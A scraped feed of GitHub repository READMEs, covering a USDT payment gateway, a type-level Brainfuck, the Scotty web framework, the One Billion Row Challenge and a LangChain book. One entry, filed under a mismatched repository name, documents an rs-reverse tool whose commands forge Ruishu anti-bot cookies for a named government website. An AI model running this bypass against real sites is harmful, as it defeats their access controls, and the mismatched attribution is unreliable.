无需额外环境配置，仅运行一个编译后二进制文件即可使用
支持http api，其他系统亦可接入
Telegram机器人接入，便捷使用和支付消息快速通知

项目结构

Epusdt
    ├── plugins ---> (已集成的插件库，例如dujiaoka)
    ├── src ---> (项目核心目录）
    ├── sdk ---> (接入SDK)
    ├── sql ---> (安装sql文件或更新sql文件)
    └── wiki ---> (知识库)

教程：

宝塔运行epusdt教程👉🏻宝塔运行epusdt
不好意思我有洁癖，手动运行epusdt教程👉🏻手动运行epusdt
开发者接入epusdt文档👉🏻开发者接入epusdt
HTML+PHP极速运行epusdt教程👉🏻使用PHPAPI-for-epusdt极速接入epusdt

已适配系统插件

独角数卡插件地址

🔥推荐服务器

（美国免备案vps，配置2核2G仅需20.98$≈145RMB一年/支持支付宝付款）👉🏻点我直达

加入交流/意见反馈

Epusdt频道https://t.me/epusdt
Epusdt交流群组https://t.me/epusdt_group

设计实现

Epusdt的实现方式与其他项目原理类似，都是通过监听trc20网络的api或节点，
监听钱包地址usdt代币入账事件，通过金额差异和时效性来判定交易归属信息，
可参考下方流程图

简单的原理：
1.客户需要支付20.05usdt
2.服务器有一个hash表存储钱包地址对应的待支付金额 例如:address_1 : 20.05
3.发起支付的时候，我们可以判定钱包address_1的20.05金额是否被占用，如果没有被占用那么可以直接返回这个钱包地址和金额给客户，告知客户需按规定金额20.05准确支付，少一分都不行。且将钱包地址和金额 address_1:20.05锁起来，有效期10分钟。
4.如果订单并发下，又有一个20.05元需要支付，但是在第3步的时候上一个客户已经锁定了该金额，还在等待支付中...，那么我们将待支付金额加上0.0001，再次尝试判断address_1:20.0501金额是否被占用？如果没有则重复第三步，如果还是被占用就继续累加尝试，直到加了100次后都失败
5.新开一个线程去监听所有钱包的USDT入账事件，网上有公开的api或rpc节点。如果发现有入账金额与待支付的金额相等。则判断该笔订单支付成功！

流程图：

打赏

如果该项目对您有所帮助，希望可以请我喝一杯咖啡☕️

Usdt(trc20)打赏地址: TNEns8t9jbWENbStkQdVQtHMGpbsYsQjZK

声明

Epusdt为开源的产品，仅用于学习交流使用！
不可用于任何违反中华人民共和国(含台湾省)或使用者所在地区法律法规的用途。
因为作者即本人仅完成代码的开发和开源活动(开源即任何人都可以下载使用或修改分发)，从未参与用户的任何运营和盈利活动。
且不知晓用户后续将程序源代码用于何种用途，故用户使用过程中所带来的任何法律责任即由用户自己承担。

！！！Warning！！！
项目中所涉及区块链代币均为学习用途，作者并不赞成区块链所繁衍出代币的金融属性
亦不鼓励和支持任何"挖矿"，"炒币"，"虚拟币ICO"等非法行为
虚拟币市场行为不受监管要求和控制，投资交易需谨慎，仅供学习区块链知识

HARSHALJETHWA19/jenkins-shared-library1-main

2024-01-03T01:30:31Z

gpc/fields

2024-01-03T01:30:31Z

a spiritual successor to the bean-fields plugin

DAGINATSUKO/www-rpcs3

2024-01-04T01:30:53Z

This is a responsive website designed to house and promote the progress of RPCS3, an open-source PlayStation 3 emulator and debugger written in C++. This repository is regularly updated.

toptobes/typefuck-haskell

2024-01-03T01:30:43Z

Typelevel Brainfuck in Haskell; Brainfuck implemented solely in Haskell's type system

Typefuck (Haskell edition)

(inspired by susisu's Typescript-edition typefuck)

This Typefuck also runs solely in Haskell's type system, though (at least I think, as I haven't looked deeply into their code) it operates a bit differently than susisu's.

(Roughly) How it works

The state of the program is managed by three main types:

{- | An efficient way to move forwards and backwards through some list
   (N.B. index == length preceeding) -}
type Cursor a = 
  ( Nat -- ^ The index of the currently selected thing
  , [a] -- ^ The preceeding things
  ,  a  -- ^ The thing the cursor is currently pointing at
  , [a] -- ^ The succeeding things
  )

{- | An association list to hold the index of each open bracket and its closing counterpart -}
type BracketLUT = [(Nat, Nat)]

{- | The state of the brainfuck engine -}
type TFState = 
  ( Cursor Char -- ^ The cursor for moving through the code
  , Cursor Nat  -- ^ The cursor for the memory tape
  , Symbol      -- ^ The input to the program
  , Symbol      -- ^ The output for the program
  , BracketLUT  -- ^ The aforementioned LUT for the []s
  )

and the rest is basically mutually-recursive type-family spam, which you can read through as you please.

The tape is (hack-ily) generated through an external haskell script which creates the file which contains the tape (more on that later).

I also had to manually implement versions of + and - that would overflow/underflow to emulate ubyte-sized cells:

type family (a :: Nat) -~ (b :: Nat) :: Nat where
  a -~ b = UnderflowingSub' (CmpNat a b) a b

type family UnderflowingSub' (ord :: Ordering) (a :: Nat) (b :: Nat) where
  UnderflowingSub' 'LT a b = 256 - (b - a)
  UnderflowingSub'  _  a b = a - b

type family (a :: Nat) +~ (b :: Nat) :: Nat where
  a +~ b = Mod (a + b) 256

Using it for yourself

To run this, you need to have at the very least cabal installed, but it'd be in your favor to also have make + bash (or a compatable shell) up and running. node or (what I use) bun are also used for tests.

Setting up the tape

The tape should already be pregenerated with 10 0s; however, you can generate a tape with the command make tape TAPE="<list_gen>" where <list_gen> is some expression that generates a haskell list. Examples include

TAPE="[1, 2, 3]"
TAPE="replicate 10 0"
TAPE="[2 * x | x <- [1..10], mod x 2 == 0]"

and it generates a file like so:

module TF.Generated.Tape where
type Tape = '[0,0,0,0,0,0,0,0,0,0]

If, for some reason, you can't use the command line utility, you can just manually generate the list yourself (make sure you don't forget to use the '!)

Disclaimer: you're free to generate long tapes, but if you go too long, you'd risk being overtaken by the heat-death of the universe lol

Actually running Typefuck

My recommended way you use typefuck (if you're just type-fucking around) is to use make repl (cabal repl app), import TF.Core, and :k! RunTF "<code>" "<input>":

me@t:~/projects/typefuck-haskell$ make repl
<...>
λ> import TF.Core
λ> :k! RunTF ",." "a"
RunTF ",." "a" :: ghc-prim:GHC.Types.Symbol
= "a"
λ> :k! RunTF "++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+." ""
<...>
= "Hello World!"
λ>

You can also use reifySF from Utils to create a concrete string, but that takes much longer to generate any non-trivial programs

λ> symbolVal $ Proxy @(RunTF ",." "a")
"a"
λ> reifyTF @",." @"a"
"a"

"Open" vs "Closed" inputs

In the event that your input-requiring code isn't working when it should be (e.g. printing empty input), there's a chance it's because you're using loops but your input isn't NUL-terminated (i.e. it doesn't read in a closing '\0' input to stop the loop). In that case, try changing "Hello!" to "Hello!\0".

By default, when TF runs out of input, it just prints what input it has already (to emulate an interactive interpreter just pausing, waiting for input).

Running the tests

You can run the tests with make test w/ bun/node (or manually executing spec/run-tests.mjs). You can add your own tests to spec/tests.json as you please.

Disclaimer

I basically wrote this in a night or two so there may be some minor bugs and things that could be more efficient, but I'm looking to fix them as I get time and motivation. Feel free to contribute!

scotty-web/scotty

2024-01-03T01:30:43Z

Haskell web framework inspired by Ruby's Sinatra, using WAI and Warp (Official Repository)

Scotty

A Haskell web framework inspired by Ruby's Sinatra, using WAI and Warp.

{-# LANGUAGE OverloadedStrings #-}
import Web.Scotty

main = scotty 3000 $
    get "/:word" $ do
        beam <- pathParam "word"
        html $ mconcat ["<h1>Scotty, ", beam, " me up!</h1>"]

Scotty is the cheap and cheerful way to write RESTful, declarative web applications.

A page is as simple as defining the verb, URL pattern, and Text content.
It is template-language agnostic. Anything that returns a Text value will do.
Conforms to the web application interface (WAI).
Uses the very fast Warp webserver by default.

As for the name: Sinatra + Warp = Scotty.

Examples

Run /basic.hs to see Scotty in action:

runghc examples/basic.hs

Setting phasers to stun... (port 3000) (ctrl-c to quit)

Or equivalently with stack:

stack exec -- scotty-basic

Once the server is running you can interact with it with curl or a browser:

curl localhost:3000

foobar

curl localhost:3000/foo_query?p=42

<h1>42</h1>

Additionally, the examples directory shows a number of concrete use cases, e.g.

More Information

Tutorials and related projects can be found in the Scotty wiki.

Contributing

Feel free to ask questions or report bugs on the Github issue tracker.

Github issues are now (September 2023) labeled, so newcomers to the Haskell language can start with easy fix ones and gradually progress to new features, bugs and R&D :)

Package versions

Scotty adheres to the Package Versioning Policy.

FAQ

Fails to compile regex-posix on Windows
- If you are using stack, add the following parameters to stack.yaml:
  - ```
    extra-deps:
    - regex-posix-clib-2.7
    flags:
      regex-posix:
        _regex-posix-clib: true
```
- If you are using cabal, update the constraints section of cabal.project.local as follows:
  - ```
  constraints:
    regex-posix +_regex-posix-clib 
```

Contributors

Copyright

ygminds73/Terraform-Automation

2024-01-03T01:30:40Z

kashalls/home-cluster

2024-01-03T01:30:40Z

🖳 In-house kubernetes cluster built with k3s and managed by flux (gitops).

keijiro/VVFX-Sketches

2024-01-04T01:31:11Z

ShoroukAziz/notion_widgets

2024-01-03T01:30:57Z

A set of HTML widgets that could be embedded into Notion.so https://www.notion.so/ pages. For more see https://blog.shorouk.dev/notion-widgets-gallery/

notion_widgets

A set of HTML widgets that could be embedded into Notion.so pages. learn more

gunnarmorling/1brc

2024-01-03T01:31:32Z

1️⃣🐝🏎️ The One Billion Row Challenge -- A fun exploration of how quickly 1B rows from a text file can be aggregated with Java

1️⃣🐝🏎️ The One Billion Row Challenge

Status Jan 1: This challenge is open for submissions!

The One Billion Row Challenge (1BRC) is a fun exploration of how far modern Java can be pushed for aggregating one billion rows from a text file. Grab all your (virtual) threads, reach out to SIMD, optimize your GC, or pull any other trick, and create the fastest implementation for solving this task!

The text file contains temperature values for a range of weather stations. Each row is one measurement in the format <string: station name>;<double: measurement>. The following shows ten rows as an example:

Hamburg;12.0
Bulawayo;8.9
Palembang;38.8
St. John's;15.2
Cracow;12.6
Bridgetown;26.9
Istanbul;6.2
Roseau;34.4
Conakry;31.2
Istanbul;23.0

The task is to write a Java program which reads the file, calculates the min, mean, and max temperature value per weather station, and emits the results on stdout like this (i.e. sorted alphabetically by station name, and the result values per station in the format <min>/<mean>/<max>, rounded to one fractional digit):

{Abha=-23.0/18.0/59.2, Abidjan=-16.2/26.0/67.3, Abéché=-10.0/29.4/69.0, Accra=-10.1/26.4/66.4, Addis Ababa=-23.7/16.0/67.0, Adelaide=-27.8/17.3/58.5, ...}

Submit your implementation by Jan 31 2024 and become part of the leaderboard!

Results

#	Result (m:s:ms)	Implementation	Submitter
1.	00:23.366	link	Roy van Rijn
2.	00:38.510	link	Hampus Ram
3.	00:50.547	link	Aurelian Tutuianu
4.	02:08.315	link	itaske
5.	02:08.650	link	Kuduwa Keshavram
6.	04:13.449	link (baseline)	Gunnar Morling

See below for instructions how to enter the challenge with your own implementation.

Prerequisites

Java 21 must be installed on your system.

Running the Challenge

This repository contains two programs:

dev.morling.onebrc.CreateMeasurements (invoked via create_measurements.sh): Creates the file measurements.txt in the root directory of this project with a configurable number of random measurement values
dev.morling.onebrc.CalculateAverage (invoked via calculate_average.sh): Calculates the average values for the file measurements.txt

Execute the following steps to run the challenge:

Build the project using Apache Maven:
```
./mvnw clean verify
```
Create the measurements file with 1B rows (just once):
```
./create_measurements.sh 1000000000
```
This will take a few minutes. Attention: the generated file has a size of approx. 12 GB, so make sure to have enough diskspace.
Calculate the average measurement values:
```
./calculate_average.sh
```
The provided naive example implementation uses the Java streams API for processing the file and completes the task in ~2 min on environment used for result evaluation. It serves as the base line for comparing your own implementation.
Optimize the heck out of it:

Adjust the CalculateAverage program to speed it up, in any way you see fit (just sticking to a few rules described below). Options include parallelizing the computation, using the (incubating) Vector API, memory-mapping different sections of the file concurrently, using AppCDS, GraalVM, CRaC, etc. for speeding up the application start-up, choosing and tuning the garbage collector, and much more.

The following rules and limits apply:

Any of these Java distributions may be used:
- Any builds provided by SDKMan
- Early access builds available on openjdk.net may be used (including EA builds for OpenJDK projects like Valhalla)
- Builds on builds.shipilev.net If you want to use a build not available via these channels, reach out to discuss whether it can be considered.
No external library dependencies may be used
Implementations must be provided as a single source file
The computation must happen at application runtime, i.e. you cannot process the measurements file at build time (for instance, when using GraalVM) and just bake the result into the binary

Entering the Challenge

To submit your own implementation to 1BRC, follow these steps:

Create a fork of the onebrc GitHub repository.
Create a copy of CalculateAverage.java, named CalculateAverage_<your_GH_user>.java, e.g. CalculateAverage_doloreswilson.java.
Make that implementation fast. Really fast.
Create a copy of calculate_average.sh, named calculate_average_<your_GH_user>.sh, e.g. calculate_average_doloreswilson.sh.
Adjust that script so that it references your implementation class name. If needed, provide any JVM arguments via the JAVA_OPTS variable in that script.
(Optional) If you'd like to use native binaries (GraalVM), adjust the pom.xml file so that it builds that binary.
Create a pull request against the upstream repository, clearly stating
- The name of your implementation class.
- The JDK build to use (if not specified, the latest OpenJDK 21 upstream build will be used).
- The execution time of the program on your system and specs of the same (CPU, number of cores, RAM). This is for informative purposes only, the official runtime will be determined as described below.
I will run the program and determine its performance as described in the next section, and enter the result to the scoreboard.

Note: I reserve the right to not evaluate specific submissions if I feel doubtful about the implementation (I.e. I won't run your BitCoin miner ;).

If you'd like to discuss any potential ideas for implementing 1BRC with the community, you can use the GitHub Discussions of this repository. Please keep it friendly and civil.

The challenge runs until Jan 31 2024. Any submissions (i.e. pull requests) created after Jan 31 2024 23:59 UTC will not be considered.

Evaluating Results

Results are determined by running the program on a Hetzner Cloud CCX33 instance (8 dedicated vCPU, 32 GB RAM). The time program is used for measuring execution times, i.e. end-to-end times are measured. Each contender will be run five times in a row. The slowest and the fastest runs are discarded. The mean value of the remaining three runs is the result for that contender and will be added to the results table above.

If you'd like to spin up your own box for testing on Hetzner Cloud, you may find these set-up scripts (based on Terraform and Ansible) useful. Note this will incur cost you are responsible for, I am not going to pay your cloud bill :)

Prize

If you enter this challenge, you may learn something new, get to inspire others, and take pride in seeing your name listed in the scoreboard above. Rumor has it that the winner may receive a unique 1️⃣🐝🏎️ t-shirt, too!

FAQ

Q: Can I use Kotlin or other JVM languages other than Java?
A: No, this challenge is focussed on Java only. Feel free to inofficially share implementations significantly outperforming any listed results, though.

Q: Can I use non-JVM languages and/or tools?
A: No, this challenge is focussed on Java only. Feel free to inofficially share interesting implementations and results though. For instance it would be interesting to see how DuckDB fares with this task.

Q: Can I use JNI?
A: Submissions must be implemented in Java; JNI requires glue code written in C/C++, so it cannot be used. You could use AOT compilation of Java code via GraalVM though, either by AOT-compiling the entire application, or by creating a native library which you then invoke using the new Java FFI (https://openjdk.org/jeps/442[JEP 442]).

Q: What is the encoding of the measurements.txt file?
A: The file is encoded with UTF-8.

Q: Can I make assumptions on the names of the weather stations showing up in the data set?
A: No, while only a fixed set of station names is used by the data set generator, any solution should work with arbitrary UTF-8 station names (for the sake of simplicity, names are guaranteed to contain no ; character).

Q: Can I copy code from other submissions? A: Yes, you can. The primary focus of the challenge is about learning something new, rather than "winning". When you do so, please give credit to the relevant source submissions. Please don't re-submit other entries with no or only trivial improvements.

Q: Why 1️⃣🐝🏎️ ?
A: It's the abbreviation of the project name: One Billion Row Challenge.

License

This code base is available under the Apache License, version 2.

Code of Conduct

Be excellent to each other! More than winning, the purpose of this challenge is to have fun and learn something new.

UdaraJay/Pile

2024-01-03T01:31:38Z

瑞数,rs,rsvmp,瑞数逆向,逆向,瑞数反爬虫,website reverse engineering

这个项目是瑞数加密的逆向研究，代码开发基于网站链接：https://wcjs.sbj.cnipa.gov.cn/sgtmi

研究包括动态代码生成原理及动态cookie生成原理。

点赞是我坚持的动力，希望该研究也能给一样好奇瑞数原理的人答疑解惑。

0. 声明

该项目下代码仅用于个人学习、研究或欣赏。通过使用该仓库相关代码产生的风险与仓库代码作者无关。

该瑞数cookie生成过程中的算法逆向仍存在以下问题：

预先设置好的配置项，参见：代码中config的值;
代码中getSubThree方法中的数字46228为作者代码格式化且代码修改后运行代码计算的值;
代码中getSubOne方法中的_random(500, 1000)为作者电脑运行计算的大概值，此值与浏览器运行环境有关(如电脑配置等);

1. 博客文章

2. 瑞数算法还原

npx rs-reverse *与在当前目录下运行node main.js *相对应

2.1. makecode子命令

体验命令：npx rs-reverse makecode

执行子命令makecode生成动态代码, 可以传入包含$_ts.nsd和$_ts.cd的文本文件或者直接给url让程序自己去拿。

如运行：npx rs-reverse makecode -u http://wcjs.sbj.cnipa.gov.cn/sgtmi，后生成三个文件：

动态代码文件output/dynamic-code.js
$_ts文件output/input_ts.json和output/output_ts.json

 $ npx rs-reverse makecode -h
 rs-reverse makecode

生成动态代码

Options:
  -h             显示帮助信息                                          [boolean]
  -f, --file     含有nsd, cd值的json文件                                [string]
  -u, --url      瑞数返回204状态码的请求地址                            [string]
  -v, --version  显示版本号                                            [boolean]

Examples:
  rs-reverse makecode -f example/codes/1-$_ts.json
  rs-reverse makecode -u http://url/path

调用示例：

 $ npx rs-reverse makecode

  输入ts：./output/output_ts.js
  输出ts：./output/output_ts.js
  动态代码：./output/dynamic_code.js/input_ts.json

2.2. makecookie子命令

执行子命令makecookie生成动态代码, 可以传入包含$_ts.nsd和$_ts.cd的文本文件或者直接给url让程序自己去拿, 命令示例：

npx方式：npx rs-reverse makecookie
文件方式：node main.js makecookie

该命令首先会执行makecode子命令拿到完整的$_ts值，再运行makecookie算法生成cookie。

makecookie命令与makecode使用方式类似：

 $ npx rs-reverse makecookie -h
rs-reverse makecookie

生成动态代码

Options:
  -h             显示帮助信息                                          [boolean]
  -f, --file     含有nsd, cd值的json文件                                [string]
  -u, --url      瑞数返回204状态码的请求地址                            [string]
  -v, --version  显示版本号                                            [boolean]

Examples:
  rs-reverse makecookie -f example/codes/1-$_ts.json
  rs-reverse makecookie -u http://url/path

调用示例：

 $ npx rs-reverse makecookie

  Cookie值: 06F5jRMo1hoEoEPOKmB6eAcYaJeWGRuYthzufuuJ4tkmcCMZLbouHGcYIm462aiARAwGlJIvr6M_vbi1K3kaer3n0ZE459rr3eKe8U.xTOaCdVxik6TW2XIle7cmudenUkPfU4UaEGoqOl8nAv38f_Qb_g6kZMpHn51J2qsIdscBqGgjQvcwWPFWk2r9SHbAJbRganpjSeTH1PksisGcKwHCFbHsXqYX1jAW672tcssl
  Cookie长: 236

2.3. exec子命令

runcode子命令用于开发中或者演示时使用。命令示例：

npx方式：npx rs-reverse exec -c 'gv.cp2'
文件方式：node main.js exec -c 'gv.cp2'

 $ npx rs-reverse exec -h
rs-reverse exec

直接运行代码，用于开发及演示时使用

Options:
  -h             显示帮助信息                                          [boolean]
  -l, --level    日志打印等级，参考log4js，默认为info                   [string]
  -c, --code     要运行的代码，如：gv.cp2，即打印cp2的值     [string] [required]
  -v, --version  显示版本号                                            [boolean]

Examples:
  rs-reverse exec -c 'code string'

调用示例：

 $ npm rs-reverse exec -c '+ascii2string(gv.keys[21])'

  输入：+ascii2string(gv.keys[21])
  输出：1718026159

3. 手动获取动态代码和$_ts的方法

目录example/codes/下的文件为手动保存，用于验证代码功能，如运行：npm run test后会比对程序生成的动态代码与$_ts文件是否与相关静态文件文本内容一致。

当然也可以自己手动拿动态代码和$_ts以验证程序是否还有效，可以通过控制台拿到相关文本：

在文件中http://wcjs.sbj.cnipa.gov.cn/c5rxzYrjRT2h/cCdzB9ZjDFks.294cc83.js找到代码_$_q.call(_$gP, _$_y)并打入断点(文件找不到可以通过其它两种方法定位);
找到如第一条的js文件，搜索.call(找到调用方法;
通过代理cookie变动的方式打断点通过堆栈找到调用方法。

断点后复制相关文本：

拿到动态代码：copy(_$_y)
拿到$_ts: console.log(JSON.stringify(window.$_ts))，这里有点蒙，可以用JSON.stringify(window.$_ts)或者copy(JSON.stringify(window.$_ts))试试

初始的$_ts可以在这个文件入口处打断点获取。

felipenoris/XLSX.jl

2024-01-04T01:32:55Z

Excel file reader and writer for the Julia language.

benman1/generative_ai_with_langchain

2024-01-03T01:32:18Z

Build large language model (LLM) apps with Python, ChatGPT and other models. This is the companion repository for the book on generative AI with LangChain.

Generative AI with LangChain, First Edition

This is the code repository for Generative AI with LangChain, First Edition, published by Packt.

Build large language model (LLM) apps with Python, ChatGPT, and other LLMs

The author of this book is - Ben Auffarth

Working with this repository

This is the companion repository for the book. Here are a few instructions that help getting set up. Please also see chapter 3.

All chapters rely on Python.

Software and hardware list

Chapter	Software required	Link to the software	Hardware specifications	OS required
All chapters	Python 3.10+	https://www.python.org/downloads/	Should work on any recent computer	Windows, MacOS, Linux (any), macOS, Windows

Environment

You can install your local environment with conda (recommended) or pip. The environment configurations for conda and pip are provided. Please note that if you choose pip as you installation tool, you might need additional tweaking.

If you have any problems with the environment, please raise an issue, where you show the error you got. If you feel confident, please go ahead and create a pull request.

For pip and poetry, make sure you install pandoc in your system. On MacOS use brew:

brew install pandoc

On Ubuntu or Debian linux, use apt:

sudo apt-get install pandoc

On Windows, you can use an installer.

Conda

This is the recommended method for installing dependencies. Please make sure you have anaconda installed.

First create the environment for the book that contains all the dependencies:

conda env create --file langchain_ai.yaml --force

The conda environment is called langchain_ai. You can activate it as follows:

conda activate langchain_ai

Pip

Pip is the default dependency management tool in Python. With pip, you should be able to install all the libraries from the requirements file:

pip install -r requirements.txt

If you are working with a slow internet connection, you might see a timeout with pip (this can also happen with conda and pip). As a workaround, you can increase the timeout setting like this:

export PIP_DEFAULT_TIMEOUT=100

Docker

There's a docker file for the environment as well. It uses the docker environment and starts an ipython notebook. To use it, first build it, and then run it:

docker build -t langchain_ai .
docker run -d -p 8888:8888 langchain_ai

You should be able to find the notebook in your browser at http://localhost:8888.

Poetry

Make sure you have poetry installed. On Linux and MacOS, you should be able to use the requirements file:

poetry install

This should take the pyproject.toml file and install all dependencies.

Code validation

I've included a Makefile that includes instructions for validation with flake8, mypy, and other tools. I have run mypy like this:

make typecheck

To run the code validation in ruff, please run

ruff check .

Setting API keys

Following best practices regarding safety, I am not committing my credentials to GitHub. You might see import statements mentioning a config.py file, which is not included in the repository. This module has a method set_environment() that sets all the keys as environment variables like this:

Example config.py:

import os

def set_environment():
     os.environ['OPENAI_API_KEY']='your-api-key-here'

Obviously, you'd put your API credentials here. Depending on the integration (Openai, Azure, etc) you need to add the corresponding API keys. The OpenAI API keys are the most often used across all the code.

You can find more details about API credentials and setup in chapter 3 of the book Generative AI with LangChain.

Contributing

If you find anything amiss with the notebooks or dependencies, please feel free to create a pull request.

If you want to change the conda dependency specification (the yaml file), you can test it like this:

conda env create --file langchain_ai.yaml --force

You can update the pip requirements like this:

pip freeze > requirements.txt

Please make sure that you keep these two ways of maintaining dependencies in sync.

Then make sure, you test the notebooks in the new environment to see that they run.

Generative AI with LangChain

Create generative AI apps with LangChain.

About the book

ChatGPT and the GPT models by OpenAI have brought about a revolution not only in how we write and research but also in how we can process information. This book discusses the functioning, capabilities, and limitations of LLMs underlying chat systems, including ChatGPT and Bard. It also demonstrates, in a series of practical examples, how to use the LangChain framework to build production-ready and responsive LLM applications for tasks ranging from customer support to software development assistance and data analysis – illustrating the expansive utility of LLMs in real-world applications.

Unlock the full potential of LLMs within your projects as you navigate through guidance on fine-tuning, prompt engineering, and best practices for deployment and monitoring in production environments. Whether you're building creative writing tools, developing sophisticated chatbots, or crafting cutting-edge software development aids, this book will be your roadmap to mastering the transformative power of generative AI with confidence and creativity.

Key Takeaways

Understand LLMs, their strengths and limitations
Grasp generative AI fundamentals and industry trends
Create LLM apps with LangChain like question-answering systems and chatbots
Understand transformer models and attention mechanisms
Automate data analysis and visualization using pandas and Python
Grasp prompt engineering to improve performance
Fine-tune LLMs and get to know the tools to unleash their power
Deploy LLMs as a service with LangChain and apply evaluation strategies
Privately interact with documents using open-source LLMs to prevent data leaks

Outline and Chapter Summary

This book is a comprehensive introduction to LLMs and LangChain, demystifying the basic mechanics of LangChain, its functionalities, and the myriad of applications it can be integrated into.

What Is Generative AI
LangChain for LLM Apps
Getting Started with LangChain
Building Capable Assistants
Building a Chatbot like ChatGPT
Developing Software with Generative AI
LLMs for Data Science
Customizing LLMs and Their Output
Generative AI in Production
The Future of Generative Models,

Chapter 01, What Is Generative AI

The chapter delves into the transformative impact of deep learning on processing and generating unstructured data, particularly focusing on large language models (LLMs). The widespread adoption of advanced AI models, driven by technological advancements and high-profile applications, has generated significant excitement in both the media and various industries. The chapter emphasizes the evolution of generative models and their applications, providing an overview of the technical concepts and training approaches that empower these models to produce novel content, primarily in the realms of text and image generation. While not delving into sound or video generation, the narrative aims to demystify the underlying mechanisms, including neural networks, large datasets, and computational scale, that enable these generative models to achieve human-like content generation. The structured exploration covers key topics, such as introducing generative AI, understanding LLMs, exploring text-to-image models, and examining AI applications in diverse domains.

Key Insights:

Evolution of Deep Learning: Over the last decade, deep learning has undergone significant evolution, enabling the processing and generation of unstructured data, including text, images, and video.
Popularity of AI Models: Advanced AI models, particularly large language models (LLMs), have gained widespread popularity across various industries, sparking excitement in the media and the business sector.
Transformative Impact of AI: The chapter highlights the potential for a wide-ranging and major impact of Artificial Intelligence on businesses, societies, and individuals, driven by technological advancements and transformative possibilities in multiple sectors.
Generative Models Exploration: The chapter explores generative models, providing a high-level understanding of technical concepts, training approaches, and the underlying magic that allows models to generate remarkably human-like content in text and image domains.
Comprehensive Overview: From introducing generative AI and understanding LLMs to exploring text-to-image models and discussing AI applications in different domains, the chapter offers a structured and comprehensive overview of the evolving landscape of generative models.

Chapter 02, LangChain for LLM Apps

The chapter introduces the limitations of Large Language Models (LLMs) like GPT-4 when used in isolation, emphasizing issues such as the lack of external knowledge, flawed reasoning, and the inability to take action. To address these challenges, the chapter proposes LangChain as a comprehensive framework that goes beyond mere API access to LLMs. It advocates for combining recent AI advancements with LangChain to build innovative language-based applications. The discussion begins by outlining the shortcomings faced when using LLMs independently and then introduces LangChain as a solution through integrations and off-the-shelf components. The chapter illustrates how developers can leverage LangChain's capabilities to create customized natural language processing solutions, emphasizing the importance of concepts like chains, action plan generation, and memory in understanding how LangChain works. By showcasing the potential of LangChain to overcome LLM limitations, the chapter sets the stage for exploring dynamic, data-aware applications that surpass the possibilities of simple API calls.

The chapter delves into the key components of LangChain, such as chains and agents, highlighting their role in composing pipelines and facilitating goal-oriented interactions. Chains enable sequencing calls to various resources, including LLMs, databases, and APIs, to accomplish multi-step workflows, while agents leverage these chains to take actions based on observations, managing dynamic applications. The concept of memory is introduced as well to persist information across executions, maintaining state and addressing the limitations of individual LLMs. The narrative emphasizes LangChain's reduction of complex orchestration into customizable building blocks, paving the way for the development of sophisticated applications. Looking ahead, the chapter teases the exploration of LangChain fundamentals in the subsequent chapters, promising the implementation of conversational agents that combine LLMs with knowledge bases and advanced reasoning algorithms. Developers are encouraged to unlock the full potential of LLMs by leveraging LangChain's capabilities to power the next generation of AI software.

Key Insights:

LLM Limitations Addressed: The chapter highlights the limitations of Large Language Models (LLMs) like GPT-4, such as the lack of external knowledge and flawed reasoning, and introduces LangChain as a framework to overcome these challenges.
LangChain as a Solution: LangChain is presented as a comprehensive solution to enhance LLM capabilities by combining them with other data sources and tools, offering developers the ability to build innovative language-based applications.
Components of LangChain: The chapter explores key components of LangChain, including chains for sequencing calls to various resources, agents for goal-oriented interactions, and memory for persisting information across executions, providing modular and reusable building blocks.
Dynamic Applications: LangChain enables the creation of dynamic, data-aware applications that go beyond the limitations of individual LLMs, illustrating the potential to reduce complex orchestration into customizable building blocks.
Next Steps with LangChain: The chapter sets the stage for future exploration, teasing the implementation of conversational agents that combine LLMs with knowledge bases and advanced reasoning algorithms, showcasing how developers can unlock the full potential of LLMs to power the next generation of AI software.

Chapter 03, Getting Started with LangChain

The chapter begins by providing essential setup instructions for the libraries required in the book, ensuring readers can execute the practical examples seamlessly using common dependency management tools like Docker, Conda, pip, and Poetry. Following this, the focus shifts to model integrations, introducing various models such as OpenAI's ChatGPT, Hugging Face models, and Jina AI. The chapter guides readers through the setup and interaction with these models, emphasizing the acquisition of API key tokens. As a practical application, the narrative culminates in the development of a real-world LLM app tailored for customer service, showcasing the potential game-changing impact of LLMs in this domain. This example serves to provide additional context for using LangChain, accompanied by tips and tricks for effective utilization.

Key Insights:

Comprehensive Environment Setup: The chapter provides crucial setup instructions for required libraries using popular dependency management tools (Docker, Conda, pip, and Poetry), ensuring readers can smoothly run practical examples in the book.
Model Integrations Exploration: It introduces and guides readers through various model integrations, including OpenAI's ChatGPT, Hugging Face models, and Jina AI. The focus is on acquiring API key tokens for these models, facilitating their usage in applications.
Real-world Application Development: The chapter culminates in the development of a practical LLM app designed for customer service, showcasing the potential of LLMs to be game-changers in this domain. This example offers a tangible illustration of LangChain's capabilities.
LangChain Installation Methods: Four distinct ways of installing LangChain and other necessary libraries are walked through, providing readers with multiple options to set up their environments effectively.
Orchestrating Multiple Models: The chapter demonstrates LangChain's ability to orchestrate multiple models seamlessly, emphasizing its utility in reducing response times and ensuring accuracy in customer service interactions. The practical application involves text categorization and sentiment analysis.

Chapter 04, Building Capable Assistants

The chapter focuses on addressing the challenge of transforming the fluency of Large Language Models (LLMs) into reliably capable assistants. It explores various methods to enhance LLMs through prompts, tools, and structured reasoning techniques, aiming to imbue greater intelligence, productivity, and trustworthiness. The chapter covers practical applications, beginning with mitigating hallucinations through automatic fact-checking, a critical step in improving the reliability of LLM outputs. The discussion then delves into the strength of LLMs in summarization, showcasing integration with prompts at different levels of sophistication and a map reduce approach for handling lengthy documents. The chapter further explores information extraction from documents through function calls, emphasizing the integration of external data and services to augment LLMs' limited world knowledge. The application of reasoning strategies is also demonstrated to extend the capabilities of LLMs. The integration of tools and function calling is explored beyond OpenAI, showcasing the evolution of instruction tuning and tool usage, enabling LLMs to automate tasks by interacting with real systems. The chapter illustrates the implementation of agents with LangChain, exemplified by a Streamlit app that answers research questions using external tools like search engines or Wikipedia. The incorporation of decision-making strategies, such as plan-and-solve and zero-shot agents, is also explored.

Key Insights:

Enhancing LLM Reliability: The chapter addresses the challenge of transforming the fluency of Large Language Models (LLMs) into reliable assistants by exploring methods such as prompts, tools, and structured reasoning techniques.
Fact-Checking for Accuracy: The importance of mitigating hallucinations is highlighted through automatic fact-checking, offering practical approaches to verify claims against available evidence and reduce the spread of misinformation.
Summarization Techniques: The chapter explores the strength of LLMs in summarization, demonstrating integration with prompts at different levels of sophistication and a map reduce approach for handling lengthy documents, providing practical applications for digesting extensive research articles or analyses.
